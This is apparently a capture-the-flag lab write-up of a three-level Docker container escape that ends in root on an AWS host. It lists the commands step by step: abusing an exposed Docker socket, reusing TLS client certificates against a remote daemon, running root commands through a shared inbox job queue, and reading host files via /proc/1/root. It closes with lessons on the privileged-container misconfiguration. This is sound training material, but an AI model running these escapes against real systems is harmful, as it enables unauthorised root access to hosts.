I have a set of Matryoshka (or, as I affectionately called them as a kid/today, “Nanotchka”) dolls on my nightstand. On the outside, they’re ornately painted with a deceptively simple structure. In truth, they’re internally weaponized with a 9-clone army.

I expect layers upon layers of priv-esc fun.


Recon

nmap -sS -Pn -sC -sV --script=vuln -T4 -A TARGET_IP
nmap detailed scan with vuln output

Not sure about y’all, but this is giving Android vibes.

Android estimation 85% assurance

Open ports:

  • 22 (SSH), aligns with provided credentials
  • Android estimated at 85% assurance

Time to SSH in.


Level 1: SSH Entry

ssh matryoshka@TARGET_IP
SSH login banner Escape is futile

“Escape is futile.”

Excuse me? I think not.

As an aside, I can hit CTRL+C at any time.

whoami
id
uname -a
system info Linux 6.17.0-1013-aws Ubuntu

Running 6.17.0-1013-aws Ubuntu, aka Linux on AWS.

ls -la
home directory empty

An empty hollow.

find / -name "*flag*" 2>/dev/null
find returning false flag paths

Nice try, Matryoshka Containment Unit. This bot-adjacent entity will not be entrapped.

False flags. This is a container escape challenge, so we need to find what’s running and mounted.

cat /proc/mounts
docker socket visible in mounts

BIG find. Docker containers are mounted inside docker.sock (hence, the Docker socket).

docker ps
docker ps showing current container

The Matryoshka allegory web spins its reality inside of Docker containers. Excellent.

docker images
docker images showing alpine available

Reminds of Super Mario brothers methodology.

We need to run a new Docker container from the visible Alpine image, then mount the host filesystem into it.

docker run -v /:/mnt --rm -it alpine:3.20 chroot /mnt sh
whoami
root shell achieved via alpine chroot

Swoosh! The root is on fire.

cat /root/flag_level2.txt
level 2 flag captured

Nabbed our first flag. Good job, Jenn.


Level 2: Mapping the Hall of Mirrors

ps aux
ps aux showing dockerd containerd processes

That is a very promising output. We’re in a proverbial hall of mirrors inside a Docker-in-Docker setup.

What we have:

  • PID 1: level2-entrypoint.sh, the host container’s init process
  • PID 7/101: dockerd running TLS on TCP port 2376, fully exposed
  • PID 108: containerd, the container runtime under Docker
  • PID 310/420: two containerd-shim processes (the actual running containers being managed)
  • PID 330/376: Our level1 container, uid 1000 = matryoshka
  • PID 404: where we are now, in the alpine container we just spawned

To get to Level 3, we need to find another container or another flag living on the host Docker’s filesystem.

After enumerating /, /root, /home, /var, and /opt, I noticed something interesting:

dockremap user discovered

dockremap is a user related to Docker’s namespace remapping.

ls /opt
/opt/images directory found

/opt is reading as a solid lead.

After confirming /run/docker.sock and /var/run/docker.sock were the same socket (same device, inode, permissions, timestamp via stat), I pivoted to inspect the entrypoint script:

cat /usr/local/bin/level2-entrypoint.sh
level2 entrypoint script revealed

The level2 flag came from $LEVEL2_FLAG environment variable. Despite being root in level2, level2 is only a container on the real host. If the real host has a Docker socket available, we can escape level2 to escalate to the level3 host and flag.

The pattern: each layer passes its Docker socket down to the next container. Level2 passed its socket to level1, which is how we escaped level1.


TLS Cert Enumeration

ls /certs
ls /certs/client
TLS certificates available in /certs

Those pretty little TLS client certificates are for connecting to a remote Docker daemon. The level2 dockerd is pants-down exposed on TCP 2376.

ip route
ip route showing 172.17.0.1 gateway

The gateway to the real host is 172.17.0.1. Perhaps its Daemon will connect us if we summon it politely (commence CLI Seance…).

docker --tlsverify --tlscacert /certs/ca/ca.pem --tlscert /certs/client/cert.pem --tlskey /certs/client/key.pem -H tcp://172.17.0.1:2376 ps
certificate verification error

Whoops. Not polite enough.

ls /certs/ca
ca directory contents showing cert.pem

Pivoted to cert.pem from inside ca:

docker --tlsverify --tlscacert /certs/ca/cert.pem --tlscert /certs/client/cert.pem --tlskey /certs/client/key.pem -H tcp://172.17.0.1:2376 ps
cert valid for IP 172.18.0.2

The cert is valid for IP 172.18.0.2. Let’s try that IP instead of the loopback gateway:

docker --tlsverify --tlscacert /certs/ca/cert.pem --tlscert /certs/client/cert.pem --tlskey /certs/client/key.pem -H tcp://172.18.0.2:2376 ps
host docker daemon connection successful

Well hello there, Host Docker Daemon. Now we’re talking (literally).

docker --tlsverify [...certs...] -H tcp://172.18.0.2:2376 run -v /:/mnt --rm -it alpine:3.20 chroot /mnt sh
filesystem mounted via host daemon

Mounted. Take that!

find / -name "*flag*" 2>/dev/null
two flag paths found

Eye spy two flags: one we have, and one we don’t.

find / -name "*.tar" 2>/dev/null

No tarballs. Shucks.

ip route

Our IP is 172.17.0.3, the gateway is at 172.17.0.1. The daemon at 172.18.0.2 is on a different subnet. Foiled! That’s the level2 container’s internal Docker network, not the real host.


Level 3: The Inbox/Outbox Pattern

Full-metal Jenn = commence!! The host-level flag is likely not in Docker.

cat /proc/1/mountinfo
mountinfo line 461 showing level3share

Level3share on line 461. This is where the host mounted the level3share directory.

ls /mnt/level3share
ls /mnt/level3share/inbox
ls /mnt/level3share/outbox

Both inbox and outbox empty. Time to hit the drawing board (aka a search engine).

The inbox/outbox pattern in /mnt/level3share suggests a job queue mechanism: command written to inbox, output posts to outbox.

Let’s give it a whirl:

echo "id" > /mnt/level3share/inbox/cmd
sleep 2 && cat /mnt/level3share/outbox/cmd
host not auto-processing cmd file

The host is not auto-processing. The file is sitting in inbox unprocessed, likely waiting for a cronjob to pick it up. Let’s check level2’s cron:

cat /etc/crontab
ls /etc/cron*
cat /etc/cron*/root
cron empty

cmd is still sitting there by its lonesome. Maybe it needs a specific filename or extension. Delete and retry with .sh:

rm /mnt/level3share/inbox/cmd
echo "id" > /mnt/level3share/inbox/test.sh
sleep 30 && ls /mnt/level3share/outbox
test.sh processed and output in outbox

IT PROCESSED!

cat /mnt/level3share/outbox/test.sh.out
host executing commands as root

The host is executing my commands as root.

echo "find / -name '*flag*' -not -path '*/proc/*' -not -path '*/sys/*' 2>/dev/null" > /mnt/level3share/inbox/flag.sh
sleep 35 && cat /mnt/level3share/outbox/flag.sh.out
level 3 flag path discovered on host

Level3 flag is on the host.

echo "cat /root/flag_level3.txt" > /mnt/level3share/inbox/getflag.sh
sleep 45 && cat /mnt/level3share/outbox/getflag.sh.out
level 3 flag captured

Second flag = unlocked.


The Real AWS Host

echo "hostname; ip a; cat /proc/1/mountinfo" > /mnt/level3share/inbox/recon.sh
recon output showing amazon-ssm-agent and lxd

The real AWS host, as evidenced by amazon-ssm-agent, lxd, and core22. Oh yeah, and we have root code execution on the actual host now.

echo "ps auxf 2>/dev/null || ps -ef" > /mnt/level3share/inbox/procs.sh

Big find. We have exhumed the tinies Matryoshka, controlling her network of Docker Dolls from the very inside (drumroll, please…).

Behind Door #1: Real AWS host (PID 1 = systemd, EC2 instance with ssm-agent).

This tiny lady:

  • Runs dockerd PID 1191
  • PID 1191 runs level3 container PID 1411. Her hobbies and interests are --privileged --pid=host
  • level3 runs level2 container, which runs level1 container, which is where we SSH’d in
PID 1 is systemd on real host PID 1191 dockerd and 1411 level3 container

Our inbox cmds are processed by runner.sh on the level3 container. We are executing as root inside level3, which is --privileged --pid=host, so we can read host files via /proc/1/root because PID 1 IS the host’s systemd.

echo "cat /proc/1/root/etc/matryoshka.env" > /mnt/level3share/inbox/hostenv.sh

(le wait)

cat /mnt/level3share/outbox/hostenv.sh.out
host environment variables retrieved
echo "ls -la /proc/1/root/root /proc/1/root/home 2>/dev/null" > /mnt/level3share/inbox/hosthomes.sh
sleep 35 && cat /mnt/level3share/outbox/hosthomes.sh.out
/root/flag_host.txt found on real host

THERE IT IS!!! /root/flag_host.txt on the real host. Woo!!!

echo "cat /proc/1/root/root/flag_host.txt" > /mnt/level3share/inbox/hostflag3.sh
sleep 35 && cat /mnt/level3share/outbox/hostflag3.sh.out
final flag THM SP@C3D_0UT captured

THM{SP@C3D_0UT}

Now THM Jenn = out. Happy weekend.


Lessons Learned

Two key indicators that we had host access:

  1. ps auxf process tree: PID 1 was /sbin/init (systemd), plus init processes like systemd-journald, cron, sshd, containerd, dockerd, amazon-ssm-agent. Normal containers only show their own processes. The level3 container was started with --pid=host, and that flag shares the host’s PID namespace with the container.

  2. The --privileged flag disables most container isolation. When --privileged is combined with --pid=host, we can read host files via /proc/1/root because PID 1 was the actual host’s systemd, not a container’s init.

Put simply: the biggest red-flag phrase in the docker run command was:

--privileged --pid=host

That’s a known, vulnerable Docker config. It’s essentially running a container with the security of being on the host itself, making it a root shell with extra steps versus a real container. Valuable lesson learned, indeed.


Full Attack Chain

SSH as matryoshka@TARGET_IP (Level 1 container)
→ /proc/mounts reveals Docker socket exposed inside container
→ docker run -v /:/mnt alpine:3.20 chroot /mnt sh → root in Level 2 container
→ cat /root/flag_level2.txt (first flag)
→ ps aux reveals dockerd on TCP 2376 with TLS, containerd shims, level3share mount
→ /certs enumeration: TLS client certs available, server cert valid for 172.18.0.2
→ docker --tlsverify -H tcp://172.18.0.2:2376 → host Docker daemon connection
→ Mount Level 2 filesystem via host daemon, but discover 172.18.0.2 is internal Docker network not real host
→ /proc/1/mountinfo reveals /mnt/level3share with inbox/outbox cron processor
→ Filename test: cmd ignored, test.sh processed → arbitrary root command execution on Level 3
→ cat /root/flag_level3.txt (second flag)
→ ps auxf in Level 3 reveals --privileged --pid=host flag, PID 1 = real host systemd
→ /proc/1/root/ exposes real AWS host filesystem
→ cat /proc/1/root/root/flag_host.txt → THM{SP@C3D_0UT}